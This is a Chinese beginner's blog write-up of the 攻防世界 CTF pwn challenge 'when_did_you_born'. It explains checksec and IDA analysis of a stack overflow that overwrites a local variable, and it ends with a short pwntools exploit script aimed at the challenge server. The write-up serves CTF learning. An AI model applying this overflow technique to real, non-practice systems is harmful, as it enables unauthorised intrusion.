攻防世界pwn when_did_you_born(栈溢出)

攻防世界pwn when_did_you_born(栈溢出)

这是我第一次写博客,希望帮助到大家,感谢大家的支持。

pwn题做题步骤

相信做这道题的同学们都是新手,或者是老手回来刷题。所以我这里会简单介绍我做pwn题的方法。

一、下载程序到电脑

攻防世界pwn when_did_you_born(栈溢出)_第1张图片这个就是下载到电脑里的样子。

二、判断程序类型

这个程序没有.exe后缀,所以它不是window的,它是linux的。在我们学习pwn的初期都是linux的程序。

三、运行并了解程序

linux的程序windows执行不了,所以我们要把它放到linux操作系统中执行。

我这里使用的是kali linux
传文件使用的是xshell

攻防世界pwn when_did_you_born(栈溢出)_第2张图片
xshell rz可以传输文件,非常方便,当然我们还有很多传文件的方法。

文件传输成功后,了解程序的基本信息。
推荐使用checksec,我们发现它是64位程序,开了NX和Canary。
攻防世界pwn when_did_you_born(栈溢出)_第3张图片
运行程序了解程序的工作流程。
攻防世界pwn when_did_you_born(栈溢出)_第4张图片
这个就是程序的运行过程。

四、对程序进行逆向分析、找漏洞

对程序逆向有很多种方法,linux可以使用gdb,windows中有OD和IDA等等。我今天使用IDA.

1.将程序放入IDA中
IDA有64和32两个,对号入座我们的程序。
攻防世界pwn when_did_you_born(栈溢出)_第5张图片
2.读程序,发现漏洞
攻防世界pwn when_did_you_born(栈溢出)_第6张图片
我们发现程序有两个输入,v5和v6,v6==1926就会输出flag,但是我们输入的v6的值不能等于1926.我们决定使用栈溢出来改变v6的值。
攻防世界pwn when_did_you_born(栈溢出)_第7张图片
通过观察栈的结构,var_20就是v5,var_18就是v6,当我们输入v5时通过溢出,就可以改变v6的值。

五、写漏洞攻击代码

from pwn import *
sh = remote("111.198.29.45",58015)
payload ='a'*8+p64(0x0786)
sh.recvuntil("Your Birth?")
sh.sendline('sss')
sh.recvuntil("What's Your Name?\n")

sh.sendline(payload)
sh.interactive()

最后我们可以得到flag。

如果有问题,或者我的博客有问题的地方,欢迎大家联系我。

你可能感兴趣的:(攻防世界pwn when_did_you_born(栈溢出))